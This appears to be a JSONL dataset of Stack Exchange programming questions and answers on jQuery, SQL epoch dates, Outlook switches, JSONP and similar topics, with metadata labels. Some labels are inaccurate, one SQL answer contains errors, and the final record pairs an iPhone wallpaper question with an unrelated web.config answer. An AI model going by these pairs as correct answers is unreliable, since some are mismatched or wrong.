"2026-01-17T15:29:37.651689"}
{"id": "hf_37bbca0be9e1", "question": "<p>I have some HTML that looks like this:</p>\n\n<pre><code>&lt;ul class=\"faq\"&gt;\n    &lt;li class=\"open\"&gt;\n        &lt;a class=\"question\" href=\"\"&gt;This is my question?&lt;/a&gt;\n        &lt;p&gt;Of course you can, it will be awesome. &lt;/p&gt;\n    &lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>Using CSS I'm setting the <code>p</code> tag to <code>display:none;</code>. I want to use jQuery to display or hide the <code>p</code> tag when the <code>anchor</code> is clicked, but I'm having some troubles with the sibling selector. </p>\n\n<p>Just trying to get the selector working, I tried:</p>\n\n<pre><code>$(\"a.question\").click(function () {\n    $(this + \" ~ p\").css(\"background-color\", \"red\");\n});\n</code></pre>\n\n<p>to test it out. Seemingly, the sibling selector can't really be used like that, and as I'm completely new to jQuery I don't know the appropriate means to make that happen. </p>\n", "question_body": "", "answer": "```\n```\n$(this).next(\"p\").css(\"...\")\n```\n```\nthe \"p\" above is optional, if you just want the next non-whitespace node in the DOM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.688083"}
{"id": "hf_fd9637a2f835", "question": "<p>I have this large C++ project that I need to build on a platform that does not have a parallel make (like make -j on Linux). The server has 6 CPU's and I want to do a parallel build manually. </p>\n\n<p>I can generate a task list like this for about 300 object files. I use the Makefile for the dependency checks and incremental build:</p>\n\n<p>make -f Makefile obj1.o</p>\n\n<p>make -f Makefile obj2.o</p>\n\n<p>make -f Makefile obj3.o\n...</p>\n\n<p>How would I execute these tasks in parallel with no more then 6 tasks running at a time using Ksh and Perl? (Java or Python are not available :-( )</p>\n", "question_body": "", "answer": "If the OS is properly handling inter-processor communication and scheduling, you should just be able to throw all the makes into backgrounded processes, as long as there are no interdependencies.\nIf they're all independent, I would issues a series of commands like this:\n```\n```\nmake -f Makefile obj1.o &\nmake -f Makefile obj2.o &\n...\nmake -f Makefile objn.o &\n```\n```\nWith dependencies, string them with the double ampersand (\n```\n&&\n```\n) so that the dependent item doesn't start until its 'parent' has finished.\nI realize that's not quite the solution you requested, but it's how I would attack the problem :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.722348"}
{"id": "hf_8c4b5012e5da", "question": "<p>I have some configuration values for an asp.net web app.  They will be maintained by a system admin once the system goes live.  Should I store these values in the database or in a config file?  Is there a best practice for this sort of thing?</p>\n", "question_body": "", "answer": "Depending on the context of the config information, you could choose to leave it in the web.config or you could create maintenance tables for it in the database. I would typcially keep things more backend specific, like connection strings, ftp locations, usernames/passwords(for the application, not user permissions) in the web.config though.\nI normally keep more relative information that relates to the information in the database rather than the application itself, in the database.\nThis is all loosely based though and not always the case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.751168"}
{"id": "hf_80bd83fe1116", "question": "<p>The windows installed on my machine has the locale <code>en_AU</code> and that's what JasperReports uses. I already tried changing the locale of all users, including the Administrator but it still uses <code>en_AU</code>.</p>\n\n<p>How can I change that locale? Is it possible to change the <code>REPORT_LOCALE</code> parameter on my report?</p>\n", "question_body": "", "answer": "The locale is set during execution, not in the JRXML.\nUsing Java, set the\n```\nREPORT_LOCALE\n```\nparameter for the report's parameter map. For example:\n```\n```\nInputStream reportTemplate = getReportTemplate();\nJRDataSource dataSource = getDataSource();\n\njava.util.Map parameters = getParameters();\njava.util.Locale locale = new Locale( \"en\", \"US\" );\nparameters.put( JRParameter.REPORT_LOCALE, locale );\n\nJasperFillManager.fillReport( reportTemplate, parameters, dataSource );\n```\n```\nUsing Jaspersoft Studio, open the project properties dialog to the\nReport Execution\narea:\nUsing iReport, set the report locale in the Options window under the \"Report execution options\" section in the General tab. This will set the report locale when run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.785479"}
{"id": "hf_95ffad237bea", "question": "<p>I want to create a javascript badge that displays a list of links. We host the javascript on our domain.  Other sites can put an empty div tag on their page and at the bottom a reference to our javascript that would render the content in the div tag.  How do you implement something like this?</p>\n", "question_body": "", "answer": "just as you say, have them put a div at the bottom of their page:\n```\n```\n<div id=\"mywidget\"></div>\n```\n```\nthen have them link to your javascript:\n```\n```\n<script type=\"text/javascript\" src=\"http://yourdomain.com/mywidget.js\"></script>\n```\n```\nthen have them alter their body tag, or onload to call your script\n```\n```\n<script type=\"text/javascript\">\n  document.body.onload = loadYourWidget();\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.808975"}
{"id": "hf_66bc08c698ad", "question": "<p>There is a pretty strong need for us to design some workflows around various processes.  The problem is none of us actually know any workflow technology yet, and finding good data to compare the available options has been tedious and not entirely fruitful.</p>\n\n<p>So I figured I'd ask you guys.</p>\n\n<p>The main technologies we are looking at are Windows Workflow Foundation and eDocs Workflow.  What other options are there?  Sharepoint 2007 has workflow functionality too, right?  Is that just based on WF?</p>\n\n<p>What are the pros and cons of the various technologies?  How do they compare?</p>\n\n<p>EDIT: Also, one feature the administrative types like with eDocs Workflow is that it provides a method for them to edit it themselves.  I believe Sharepoint '07 does as well.  Is there some other way to allow that with a straight WWF implementation?</p>\n", "question_body": "", "answer": "It is possible to 'rehost' the WF designer (the one from Visual Studio) in your own application, so that users can author workflows. There are a number of code examples on the web, the most important one from MS itself:\nhttp://msdn.microsoft.com/en-us/library/aa480213.aspx\n).\nAt some point, when evaluating WF, I implemented a demo application that did this and added some features and found that although it works, not everybody can understand and use the more difficult activities (like the policy activity) that require understanding of how the rules engine works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.868426"}
{"id": "hf_699df171b952", "question": "<p>I am writing a batch file script using Windows command and want to change each occurrence of some blank space with \",\"  What is the simplest way to do that? </p>\n", "question_body": "", "answer": "Well it will depend a lot on how you are getting the data, but you may be able to finagle something with a For-Do construct. Make the field seperator be a space then build the string back in the do with a , between each token. Might I suggest a more robust scripting language? You should have VBScript on just about any relatively modern windows bow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.892713"}
{"id": "hf_9d46176a809c", "question": "<p>English is not my mother tongue. However, I have to write comments in English. I want to improve my \"comment English\" by studying a piece of code which is commented in a good English. Please recommend an open source project which contains a lot of meaningful comments written by people with an excellent command of the language.</p>\n", "question_body": "", "answer": "I don't think comments are a good place to learn, even if you have to emulate this style. Comments are often not even correct English and good projects will not have too many comments anyway, hence, not much to learn from.\nIf, on the other hand, you take a project that is commented extensively you can be almost sure that it's not a great role model since the programmers were incapable of conveying terse meaning. This is a generalization, of course. However, I believe it's (almost?) always true. YMMV.\nInstead, learn English by studying the experts. There has been\na question\nabout this. I recommended\n“On Writing Well” by William Zinsser\nand I will do so again.\n(By the way, English isn't my mother tongue either.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.920724"}
{"id": "hf_3e8c02d96f8e", "question": "<p>I am using MS SQL Server 2005, I have dates stored in epoch time (starting 1970) I need to create a statement that will affect any record that has not been updated in the last 24 hours.</p>\n", "question_body": "", "answer": "You can convert from SQL Server DateTime to Epoch time by calculating the number of seconds that have elapsed since Jan 1, 1970, like this.\n```\nSelect DateDiff(Second, '19700101', GetDate())\n```\nTo get rows from the last 24 hours....\n```\n```\nSelect Columns\nFrom   Table\nWhere  EpochColumn Between DateDiff(Second, '19700101', GetDate()) And DateDiff(Second, '19700101, GetDate()-1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.100822"}
{"id": "hf_6e4644dbaaf2", "question": "<p>I am working on a windows service that polls for a connection to a network enabled devices every 15 seconds.  If the service is not able to connect to a device, it throws an exception and tries again in 15 seconds.  All of this works great.</p>\n\n<p>But, lets say one of the devices is down for a day or more.  I am filling up my exception log with the same exception every 15 seconds.  Is there a standard way to prevent an exception from being written to the event log if the exception being thrown hasn't changed in the last x number of hours?</p>\n", "question_body": "", "answer": "Maybe have a workflow that if the polls fails for a certain number of times, the polling interval is increased. e.g. polls every 15 seconds for like 3 times, if it fails then increase the polling interval to one minute, if it fails for n times then increase the time to one hour.\nTo be honest the workflow above doesnt really solve your problem. If I were you, I would reverse the workflow. Instead of the server polling for devices, why not do it the other way round? When a device connected to a networked machine, your client side service sends a message to the server, so that the server knows that the device is connected and alive.\nHope this helps...\nRWendi", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.149864"}
{"id": "hf_bc6ded9d0153", "question": "<p>How can you find out the number of active users when you're using a StateServer?   Also is it possible to query the StateServer and retrieve the contents in the Session State?   </p>\n\n<p>I know that this is all possible if you use SqlServer for a backing store, but I want them to be in memory.</p>\n", "question_body": "", "answer": "Tracking the number of users would need to be done at the application level, not the session level.\nYou should be able to see what is currently in the session with the following:\n```\n```\nStringBuilder builder = new StringBuilder();\nforeach ( String key in Session.Contents ) {\n    builder.AppendFormat(\"{0}: {1}<br />\", key, Session[key]);\n}\nResponse.Write(builder.ToString());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.187503"}
{"id": "hf_4fd6a23bff63", "question": "<p>Is this possible?  I want to have the To:, Body, and an Attachment all pre-populated so all the user has to do is click send.  Thanks!</p>\n", "question_body": "", "answer": "Open a new mail message (\n```\nipm.note\n```\nis the\nmessage class\nfor emails)\n```\n```\noutlook.exe /c ipm.note\n```\n```\nOpen a new mail message and populate sender:\n```\n```\noutlook.exe /c ipm.note /m someone@microsoft.com\n```\n```\nOpen a new mail message with attachment:\n```\n```\noutlook.exe /c ipm.note /a filename\n```\n```\nCombination: (First one below didn't work in Office 2016, second did)\n```\n```\noutlook.exe /c ipm.note /m someone@microsoft.com&subject=test%20subject&body=test%20body\n outlook.exe /c ipm.note /m \"someone@microsoft.com&subject=test%20subject&body=test%20body\"\n```\n```\nThe %20 has to be used to produce a blank space.\nMore details at\nCommand Line for Creating a Pre-Addressed E-mail Message\nCommand-line switches can be found\nhere\nThis works for instance with a classic Outlook 2016 (build 16.0.4849.1000).\nBut, as\nSnozzlebert\nnotes\nin the comments\n, for a  Outlook 365 Version 2001 (Build 12430.20184) the syntax would be:\n```\n```\noutlook.exe /c ipm.note /m \"someone@microsoft.com?subject=test\"\n```\n```\nthe culprit was the\n```\n&\n```\nafter the email-address - replacing it with\n```\n?\n```\nsolved the problem.\nIt seems that Microsoft changed the syntax to the HTML mailto syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.278942"}
{"id": "hf_e4790054cf16", "question": "<p>Are there any plugins/tools available to go through the classpath of an eclipse project (or workspace) and highlight any unused jars?</p>\n", "question_body": "", "answer": "ClassPathHelper\nis a good start.\nIt automatically identifies orphan jars and much more.\nThe only limitation is with dependencies that are not defined in classes, e.g. in dependency injection framework configuration files.\nYou also have other options/complements, such as:\nworkingfrog \"Relief\"\n, which relies on the ability to deal with real objects by examining their shape, size or relative place in space it gives a \"physical\" view on java packages, types and fields and their relationships, making them easier to handle.\nUnnecessary Code Detector\n: a eclipse PlugIn tool to find unnecessary (dead) public java code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.340877"}
{"id": "hf_bba1d17994bc", "question": "<p>Anyone have a good resource or provide a sample of a natural order sort in C# for an <code>FileInfo</code> array?  I am implementing the <code>IComparer</code> interface in my sorts.</p>\n", "question_body": "", "answer": "The easiest thing to do is just P/Invoke the built-in function in Windows, and use it as the comparison function in your\n```\nIComparer\n```\n:\n```\n```\n[DllImport(\"shlwapi.dll\", CharSet = CharSet.Unicode)]\nprivate static extern int StrCmpLogicalW(string psz1, string psz2);\n```\n```\nMichael Kaplan has some\nexamples of how this function works here\n, and the changes that were made for Vista to make it work more intuitively. The plus side of this function is that it will have the same behaviour as the version of Windows it runs on, however this does mean that it differs between versions of Windows so you need to consider whether this is a problem for you.\nSo a complete implementation would be something like:\n```\n```\n[SuppressUnmanagedCodeSecurity]\ninternal static class SafeNativeMethods\n{\n    [DllImport(\"shlwapi.dll\", CharSet = CharSet.Unicode)]\n    public static extern int StrCmpLogicalW(string psz1, string psz2);\n}\n\npublic sealed class NaturalStringComparer : IComparer<string>\n{\n    public int Compare(string a, string b)\n    {\n        return SafeNativeMethods.StrCmpLogicalW(a, b);\n    }\n}\n\npublic sealed class NaturalFileInfoNameComparer : IComparer<FileInfo>\n{\n    public int Compare(FileInfo a, FileInfo b)\n    {\n        return SafeNativeMethods.StrCmpLogicalW(a.Name, b.Name);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.365064"}
{"id": "hf_32338d1a328e", "question": "<p>Is it legal to more or less \"copy\" (or euphemistically, be very \"inspired by\") the idea and UI of a copyrighted program? This question popped in my mind when looking at \"<a href=\"http://culturedcode.com/things/\" rel=\"noreferrer\">Things</a>\" which is a Mac-only program.</p>\n\n<p>How legal would it be for someone to make a Windows version of this program with a basically identical UI design and feature set? Where are the legal boundaries of what counts as copyright infringement?</p>\n\n<p>Unless you specify otherwise, I am assuming an \"IANAL\" for any answer, so you don't have to write that. ;)</p>\n", "question_body": "", "answer": "Specific elements of a design can be copyrighted. Apple won the \"trashcan\" icon, but effectively nothing else during the Microsoft/Apple lawsuit over a look and feel. As long as the code is entirely your own, the graphics are your own (and yes, copying too closely a\nspecific\ngraphic element like the trashcan can be a problem) and you aren't doing cloning elements that are trademark/tradedress related, you should be within the law (in the US).\nOf course, that doesn't mean that someone can't\nsue\nyou. Meritless lawsuits are started all the time for intimidation. Also note that patents can cover the interaction of the user with a UI, so copyright might not be your primary problem in some cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.388005"}
{"id": "hf_46d6831bf15d", "question": "<p>I have a private const int defined in a C# class. I want compilation to fail with an error if the value of this int mod 3 != 0. How can I accomplish this?</p>\n", "question_body": "", "answer": "Although there is an\n#error\npre-processor directive for generating compile-time errors, there is no way for it to be based on the existence of a const value. It only works with compiler symbols, like \"DEBUG\", for which a value can't be assigned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.410644"}
{"id": "hf_428d00ab0c6c", "question": "<p>I'm experiencing an <a href=\"https://stackoverflow.com/questions/248182/my-c-activemq-client-can-send-messages-but-not-receive-messages\">issue</a> with ActiveMQ and would like to trace/view all ActiveMQ activity.  The only log file I can find is one associated with persistent data (if this is turned on).  Are there any other log files I view or generate to tell me what's happening under the hood of ActiveMQ and why my consumers aren't consuming messages?  Any other suggestions?</p>\n\n<p>Thanks in advance! </p>\n", "question_body": "", "answer": "activemq has a jmx interface that you can connect to.\nthis gives us access to consumer counts messages queued dequeue and all sorts of data on memory usage etc.\nhttp://activemq.apache.org/jmx.html\nHas all the details to get you started.\nI find it excellent in finding out whats going on with activemq.\nA quick firing up of jconsole and you will be well on your way to finding out what is going on.\nPaul", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.482693"}
{"id": "hf_4021c36529a0", "question": "<p>I want to do a select in MySql that combines several columns... something like this pseudocode:</p>\n\n<pre><code>SELECT payment1_paid AND payment2_paid AS paid_in_full \nFROM denormalized_payments \nWHERE payment1_type = 'check';\n</code></pre>\n\n<p><strong>Edit</strong>: payment1_paid and payment2_paid are booleans.</p>\n\n<p>I can't use any other language for this particular problem than MySql.</p>\n\n<p>Thanks for any help!</p>\n\n<p><strong>Edit</strong>: Sorry to everybody who gave me suggestions for summing and concatenating, but I've voted those early answers up because they're useful anyway. And <strong>thanks</strong> to everybody for your incredibly quick answers!</p>\n", "question_body": "", "answer": "Just do\n```\n```\nSelect CONCAT(payment1_paid, payment2_paid) as paid_in_full \nfrom denormalized_payments \nwhere payment1_type = 'check';\n```\n```\nYou can concat any number of field you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.530427"}
{"id": "hf_920c48b8d7e1", "question": "<p>I need to have a single instance application (as per this <a href=\"https://stackoverflow.com/questions/19147/what-is-the-correct-way-to-create-a-single-instance-application#19326\">answer</a>), but it needs to be deployed via click once.</p>\n\n<p>The problem is that I require that click once doesn't automatically detect an update an attempt to load a newer version while the application is running.  If it is running, then I need the other instance to be made active. Usually, when selecting a Click Once link, the very first thing it does is attempt to find an update. I want to intercept this and check for an already running instance <strong>prior</strong> to launching the normal update process.</p>\n\n<p>Does anyone know how this is possible within a Click Once deployment scenario?</p>\n", "question_body": "", "answer": "I don't think you'll be able to do it quite like this as the check before run is outside of your code.\nHowever you can change the clickonce deployment options to check for updates during code execution.\nIf you need more control then you can use the\nApplicationDeployment Update\nor\nCheckForUpdate\nmethods to have absolute over the update process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.599936"}
{"id": "hf_c668663b9fa8", "question": "<p>This is the sequel to <a href=\"https://stackoverflow.com/questions/248683/how-can-i-do-boolean-logic-on-two-columns-in-mysql\">this question</a>.</p>\n\n<p>I would like to combine three columns into one on a MySql select. The first two columns are boolean and the third is a string, which is sometimes null. This causes strange results:</p>\n\n<pre><code>Select *, (payment1_paid &amp;&amp; ((payment2_paid || payment2_type =\"none\"))) as paid_in_full from payments \n</code></pre>\n\n<p><strong>Note:</strong> <code>payment1_paid</code> is boolean, <code>payment2_paid</code> is boolean, <code>payment2_type</code> is varchar.</p>\n\n<p><strong>Note:</strong> Please ignore how ridiculous the structure of this table is. Behind every piece of bad code there is a long explanation :)</p>\n\n<p><strong>Edit:</strong> Null is not interesting to me for the varchar value. I only want to know if it's really \"none.\"</p>\n\n<p>Thanks in advance for your help!</p>\n", "question_body": "", "answer": "I guess you want NULL to be false? Try\n```\n(payment_paid IS NULL || payment2_type = \"none\")\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.661978"}
{"id": "hf_70e17cb01793", "question": "<p>Back in the earlier days of the internet I remember that in certain browsers, every time you downloaded an image or a file, the URL of where that file was downloaded from would be written into that file's properties (I guess the summary tab?). I think Netscape v2 did this if I remember correctly.</p>\n\n<p>I really miss that kind of functionality as every once in a while I'll run into a neat little program stored somewhere in the depths of my hard drive and wonder where I got it from originally.</p>\n\n<p>I googled around but I'm not quite sure what terms to use to describe what I'm looking for. So I'm wondering if anyone knows of a Firefox plug-in or something similar that would do this?</p>\n", "question_body": "", "answer": "For the IE Browser I use the hell out of Fidler to look at all traffic going across the wire.\nFor FireFox, you can use the FireBug plugin. There is a \"Net\" tab that will show you request information that is going across the wire.\nMost of the time you can use one of these tools to see what URL was requested in order to start a download. You can also view all the get and post information that might need to be sent in order to have your request succeed.\nFidler is here:\nhttp://www.fiddlertool.com/fiddler/\nFireBug is here:\nhttps://addons.mozilla.org/en-US/firefox/addon/1843\nBest of Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.685533"}
{"id": "hf_5eddbc0f4f1e", "question": "<p>So I'm reading The Art &amp; Science of Javascript, which is a good book, and it has a good section on JSONP. I've been reading all I can about it today, and even looking through every question here on StackOverflow. JSONP is a great idea, but it only seems to resolve the \"Same Origin Problem\" for <i>getting</i> data, but doesn't address it for <i>changing</i> data. </p>\n\n<p>Did I just miss all the blogs that talked about this, or is JSONP <strong>not</strong> the solution I was hoping for?</p>\n", "question_body": "", "answer": "JSONP results in a SCRIPT tag being generated to another server with any parameters that might be required as a GET request. e.g.\n```\n```\n<script src=\"http://myserver.com/getjson?customer=232&callback=jsonp543354\" type=\"text/javascript\">\n</script>\n```\n```\nThere is technically nothing to stop this sort of request altering data on the server, e.g. specifying newName=Tony.  Your response could then be whether the update succeeded or not.  You will be limited by whatever you can fit on a querystring.  If you are going with this approach add some random element as a parameter so that proxy's won't cache it.\nSome people may consider this goes against the way GET's are supposed to work i.e. they shouldn't cause data to change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.770834"}
{"id": "hf_f7401dfa89c7", "question": "<p>Has anyone ever tried, or had any success at getting Wascana (Eclipse CDT + MinGW for Windows) to compile FFMPEG under Windows. Apparently it is possible, there is even a <a href=\"http://www.craigshaw.com/2007/07/25/BuildingFFMPEGUsingCDTForWindows.aspx\" rel=\"nofollow noreferrer\">tutorial at Craig Shaw's website</a> but I have not been able to make it work.</p>\n\n<p>I run ./configure on the FFMPEG source code then create a new project in Eclipse and point it at the source but it doesn't recognise it as a Makefile project. I think I need to create a builder which works with MinGW but my feeble attempts so far have been unsuccessful.</p>\n", "question_body": "", "answer": "Hey, I can answer my own question! After a lot of fiddling around, I have come up with the procedure:\nNOTE: This is for Wascana 0.9.3 and a Sep 2008 SVN version of FFMPEG.\nPrepare Environment\nAfter installing Wascana, you'll need to update various MinGW and MSYS packages. Download and unpack the following (you can download them from the MinGW website):\nMSYS packages:\nbash-3.1\ncoreutils-5.97\nm4-1.4.7\nmake-3.81\nMinGW packages:\nw32api-3.12\nMinGW Runtime 3.15\nBuild\nUnpack the FFMPEG source code and configure like so (do not compile it yet):\n./configure --enable-memalign-hack --disable-shared --enable-static --disable-mmx --disable-mmx2 --disable-optimizations --disable-stripping\nLaunch Wascana/Eclipse and create a new C project.\nDo not select \"Hello World\" project, just select a Makefile project and select the MinGW toolchain.\nSet the project path to wherever your FFMPEG source code is.\nClick finish and the source should build itself!\nInstall\nRight click the project and select Make Targets > Create.\nIn the dialog, set both the Make Target and Target name to \"install\".\nRun the target you just created. This will install the FFMPEG libraries.\nExecute and Debug\nOpen the Debug Dialog\nRight-click on \"C/C++ Local Application\" and choose \"New\"\nFill in the project name and select the EXE you want to run (in my case, ffplay_g.exe)\nGo to the debugger tab and change the debugger to \"MinGW gdb Debugger\"\nI also had to make sure a copy of SDL.dll was in the ffmpeg directory.\nPhew, what an ordeal. That all worked for me, hopefully it will work for you too!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.830997"}
{"id": "hf_183ed75ae8b5", "question": "<p>I need to write an extension method on a byte[].  Is that possible?</p>\n", "question_body": "", "answer": "Sure, just make the first parameter of type\n```\nbyte[]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.868135"}
{"id": "hf_dbf0bb81c9e0", "question": "<p>When I press the standard Ctrl + E, C (an other variants) in VS2008 whilst editing a CSS file, it says that command is not available. How do I setup a shortcut to apply a plain old /* */ comment to selected text in VS? Thanks</p>\n", "question_body": "", "answer": "Within Visual Studio, hit Alt-F11 to open the Macro IDE and add a new module by right-clicking on MyMacros and selecting Add|Add Module...\nPaste the following in the source editor:\n```\n```\nImports System\nImports EnvDTE\nImports EnvDTE80\nImports EnvDTE90\nImports System.Diagnostics\n\nPublic Module CommentCSS\n    Sub CommentCSS()\n        Dim selection As TextSelection\n        selection = DTE.ActiveDocument.Selection\n\n        Dim selectedText As String\n        selectedText = selection.Text\n\n        If selectedText.Length > 0 Then\n            selection.Text = \"/*\" + selectedText + \"*/\"\n        End If\n    End Sub\nEnd Module\n```\n```\nYou can create a keyboard shortcut by going to Tools|Options... and selecting\nKeyboard\nunder the\nEnvironment\nsection in the navigation on the left.  Select your macro and assign any shortcut you like.\nYou can also add your macro to a menu or toolbar by going to Tools|Customize... and selecting the\nMacros\nsection in the navigation on the left.  Once you locate your macro in the list, you can drag it to any menu or toolbar, where it its text or icon can be customized to whatever you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:38.944869"}
{"id": "hf_0527ffb810e9", "question": "<p>My realtime app generates a data log: 100 words of data @10Khz.  I need to analyze it and produce some plots of the results.   There are intermediate calculations involved - I need to take some differences, averages, etc.   Excel would work fine, except for:</p>\n\n<ul>\n<li>the 32000 item limit on graph data series is too small - that's only 3 seconds of data.</li>\n<li>the glacial speed at which it processes changes to graphs containing large data series is unbearable.</li>\n</ul>\n\n<p>What are good alternatives to Excel for manipulating and plotting large quantities of data?  I'm looking for something interactive, not a library. </p>\n", "question_body": "", "answer": "For this sort of stuff we typically roll our own, but I know that isn't the solution you want. Can you use a good quality database (eg Oracle) to do the manipulation, then maybe put the summarized data back into Excel for the plotting? I believe Excel will link to databases these days, so you could make it quite automated.\nOtherwise there are statistical tools like [SAS][1], but get your cheque book out first.\n[1]:\nhttp://www.sas.com/technologies/analytics/statistics/stat/index.html\nSAS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.016878"}
{"id": "hf_e715ce44b8d9", "question": "<p>I have an app which could benefit from the user being able to choose to set an image as the wallpaper (the background image on the \"slide to unlock\" screen). </p>\n\n<p>Is there a way for non-jailbreak third-party apps to do this? A search for \"wallpaper\" in the iPhone documentation returns nothing. </p>\n", "question_body": "", "answer": "```\n```\n<configuration>\n   <system.web>\n      <compilation>\n         <assemblies>\n            <add assembly=\"<AssemblyName>, Version=<Version>, Culture=<Culture>, PublicKeyToken=<PublicKeyToken>\"/>\n         </assemblies>\n      </compilation>\n   </system.web>\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.100395"}
